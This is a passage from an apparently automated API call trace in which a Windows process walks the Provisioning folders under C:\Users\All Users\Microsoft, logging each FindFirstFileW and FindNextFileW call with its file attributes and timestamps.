lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdc44d0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdc44d0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdc44d0, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0210.257] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdea603, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdea603, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdea603, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0210.257] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd6b510c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd6b510c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd6b510c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0210.257] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0268ef, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd0268ef, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd0268ef, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0210.258] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcd9e222, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcd9e222, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcd9e222, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0210.258] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdc44d0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdc44d0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdc44d0, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0210.258] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbdbec4a8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbdbec4a8, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbdbec4a8, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0210.258] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbde4e9af, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbde4e9af, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbde4e9af, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0210.258] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.259] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0210.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0210.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc490) returned 1 [0210.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0210.260] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpFilePart=0x0) returned 0x50 [0210.260] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0210.423] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.424] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0f6b62d, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0f6b62d, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0f6b62d, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0xe90, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0210.424] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eac9f1, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0eac9f1, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0eac9f1, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0210.424] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0210.424] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0210.424] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0210.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0210.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0210.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0210.426] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpFilePart=0x0) returned 0x50 [0210.426] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0210.427] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.427] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0f6b62d, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0f6b62d, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0f6b62d, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0xe90, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0210.428] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eac9f1, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0eac9f1, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0eac9f1, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0210.428] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0210.428] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.428] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0210.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0210.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0210.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0210.429] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpFilePart=0x0) returned 0x55 [0210.430] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469520 [0210.432] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.432] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0210.432] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e60513, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e60513, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0eac9f1, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0210.432] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.432] FindClose (in: hFindFile=0x1d469520 | out: hFindFile=0x1d469520) returned 1 [0210.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0210.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0210.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0210.433] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpFilePart=0x0) returned 0x55 [0210.433] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0210.433] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.433] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0210.434] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e60513, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e60513, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0eac9f1, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0210.434] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e60513, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e60513, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0eac9f1, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0210.434] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0210.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0210.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0210.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0210.434] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0210.434] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0210.435] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.435] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e3a2a4, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e3a2a4, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0e60513, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_0.provxml", cAlternateFileName="POWER_~1.PRO")) returned 1 [0210.435] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e86782, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e86782, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0e86782, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_1.provxml", cAlternateFileName="POWER_~2.PRO")) returned 1 [0210.436] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.436] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0210.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0210.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0210.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0210.436] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0210.436] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\*"), lpFindFileData=0x1f2dab70 | out: 